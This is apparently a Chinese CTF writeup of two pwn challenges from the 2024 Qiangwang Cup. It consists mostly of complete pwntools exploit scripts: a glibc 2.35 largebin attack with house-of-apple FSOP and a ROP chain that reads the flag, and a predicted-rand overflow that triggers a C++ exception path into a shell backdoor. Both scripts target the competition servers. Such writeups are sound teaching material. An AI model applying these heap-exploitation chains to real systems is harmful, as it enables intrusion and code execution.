2024 强网杯 Pwn 部分 Writeup

被拿捏了,这哪里是Pwn,全是逆向,彻底的劣势区间

baby_heap

一个比较明显的largebin attack,以及一些其他gift功能,清空了_IO_wfile_jumps所在的一整PAGE

但是在前面的_IO_wfile_jumps_mmap虚表还在,还是能打house of apple

from pwn import*
r=remote("39.107.90.219",22622)
#r=process('./pwn')
context.log_level='debug'

def new(size):
	r.recvuntil(": \n")
	r.sendline("1")
	r.recvuntil("size \n")
	r.sendline(str(size))

def delete(idx):
	r.recvuntil(": \n")
	r.sendline("2")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def edit(idx,content):
	r.recvuntil(": \n")
	r.sendline("3")
	r.recvuntil(": \n")
	r.sendline(str(idx))
	r.recvuntil("content \n")
	r.send(content)

def show(idx):
	r.recvuntil(": \n")
	r.sendline("4")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def gift(addr,content):
	r.recvuntil(": \n")
	r.sendline("0")
	r.recvuntil("addr \n")
	r.sendline(p64(addr))

libc=ELF("./libc-2.35.so")

new(0x518)
new(0x508)
new(0x508)

delete(1)

new(0x5F0)

delete(3)

show(1)

r.recvline()
libc_base=u64(r.recv(8))-libc.sym["__malloc_hook"]+0x6390
success("libc_base: "+hex(libc_base))

pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x2be51
pop_rdx_rbx=libc_base+0x904a9
pop_rax=libc_base+0x45eb0
pop_rcx=libc_base+0x3d1ee
pop_r8=libc_base+0x1659e6
syscall=libc_base+0x91316

r.recv(8)
heap=u64(r.recv(8))-0x1950
success("heap: "+hex(heap))

payload=p64(pop_rdi)+p64(437)+p64(pop_rsi)+p64(0xffffffffffffff9c)+p64(pop_rdx_rbx)+p64(heap+0x1b38)+p64(0)+p64(pop_rcx)+p64(heap+0x100)+p64(pop_r8)+p64(24)+p64(libc_base+libc.sym["syscall"])
payload+=p64(pop_rdi)+p64(0x3)+p64(pop_rsi)+p64(heap)+p64(pop_rdx_rbx)+p64(0x30)+p64(0)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])

fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x70,"\x00")
fake_IO_struct+=p64(heap+0x1a50)
fake_IO_struct=fake_IO_struct.ljust(0xa8,"\x00")
fake_IO_struct+=p64(libc_base+0x217000)
fake_IO_struct=fake_IO_struct.ljust(0x100,"\x00")
fake_IO_struct+=p64(0)
fake_IO_struct=fake_IO_struct.ljust(0x138,"\x00")
fake_IO_struct+=p64(libc_base+libc.sym["setcontext"]+61)
fake_IO_struct=fake_IO_struct.ljust(0x170,"\x00")
fake_IO_struct+=p64(heap+0x1b50)
fake_IO_struct+=p64(pop_rdi+1)
fake_IO_struct=fake_IO_struct.ljust(0x1b0,"\x00")
fake_IO_struct+=p64(heap+0x1a50)
fake_IO_struct+="flag"
fake_IO_struct=fake_IO_struct.ljust(0x1d0,"\x00")
fake_IO_struct+=payload

edit(1,p64(libc_base+0x21b110)*2+p64(heap+0x1950)+p64(libc_base+libc.sym["_IO_list_all"]-0x20)+fake_IO_struct)
new(0x5F0)

new(0x508)

#gift(libc_base,heap)

#gdb.attach(r,"b syscall")

r.recvuntil(": \n")
r.sendline("4")

r.interactive()

expect_number

srand(1),计算出随机数,溢出覆盖bss段上指针

然后接一个cpp异常处理,提供了后门system(“/bin/sh”),在get_input后面

from pwn import*
from ctypes import *
import os
r=remote("47.94.193.44",39018)
#r=process('./expect_number')
context.log_level='debug'

libc = cdll.LoadLibrary("./librandlib.so")

libc.initialize_random(1)

def calc(result):
	r.recvuntil("waiting for your choice \n")
	r.sendline("1")
	r.recvuntil("Which one do you choose? 2 or 1 or 0\n")
	r.sendline(str(result))

def show():
	r.recvuntil("waiting for your choice \n")
	r.sendline("2")

operand = 0
target = 0x60
def step():
	global operand, target
	
	if (operand == target): return 1
	
	operators = libc.get_random() % 4 + 1
	
	if (operators == 1):
		result = target - operand
		result = result if result <= 2 else 2
		success(hex(operand)+" + "+hex(result))
		operand = operand + result
	elif (operators == 2):
		result = 0
		success(hex(operand)+" - "+hex(result))
		operand = operand - result
	elif (operators == 3):
		if (operand):
			result = target / operand
			result = result if result <= 2 else 2
		else:
			result = 0
		success(hex(operand)+" * "+hex(result))
		operand = operand * result
	elif (operators == 4):
		result = 1
		success(hex(operand)+" / "+hex(result))
		operand = operand / result
	
	calc(result)
	
	return 0

def wait():
	operators = libc.get_random() % 4 + 1
	success("wait")
	if (operators == 1):
		result = 0
	elif (operators == 2):
		result = 0
	elif (operators == 3):
		result = 1
	elif (operators == 4):
		result = 1
	
	calc(result)
	
	return 0

result = 0
calc_step = 0
while (result == 0):
	calc_step = calc_step + 1
	result = step()

for i in range(0x114 - calc_step + 1): wait()

show()
pie=u64(r.recvuntil("\n",drop=True)[-6:]+p16(0))-0x4c60
success("pie: "+hex(pie))


r.recvuntil("waiting for your choice \n")
r.sendline("4")
#gdb.attach(r,"")
r.recvline()
r.send("\x00"*0x20+p64(pie+0x5400)+p64(pie+0x2516))

r.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇